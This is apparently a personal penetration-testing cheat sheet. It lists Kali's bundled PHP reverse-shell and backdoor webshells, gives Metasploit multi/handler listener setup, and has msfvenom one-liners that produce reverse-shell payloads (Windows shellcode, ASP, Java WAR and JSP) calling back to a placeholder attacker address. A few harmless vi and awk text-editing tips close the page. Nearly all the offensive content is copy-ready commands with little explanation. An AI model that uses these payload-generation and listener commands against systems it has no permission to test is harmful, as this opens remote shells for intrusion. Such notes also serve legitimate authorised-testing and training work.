Misc

Msfvenom, linux, etc.

Kali default shells

/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/simple-backdoor.php

Msfvenom

Show all payloads

msfvenom -l payloads

Set handler

msfconsole
use exploit/multi/handler
set lhost x.x.x.x
set lport 6969
exploit

Windows

Python (non-staged)

msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 EXITFUNC=thread -b "\x00" -f python -v shellcode

ASP (non-staged)

msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 -f asp > shell.asp

Linux

Java WAR (non-staged)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 -f war > shell.war

JSP (non-staged)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 -f raw > shell.jsp

Linux shizzle

Vi

Remove first 5 characters from all lines in file:

:%s/^.\{5}//

Remove last 5 characters from all lines in file:

:%s/.\{5}$//

Awk

Remove duplicate lines:

awk '!seen[$0]++' file

Last updated

Was this helpful?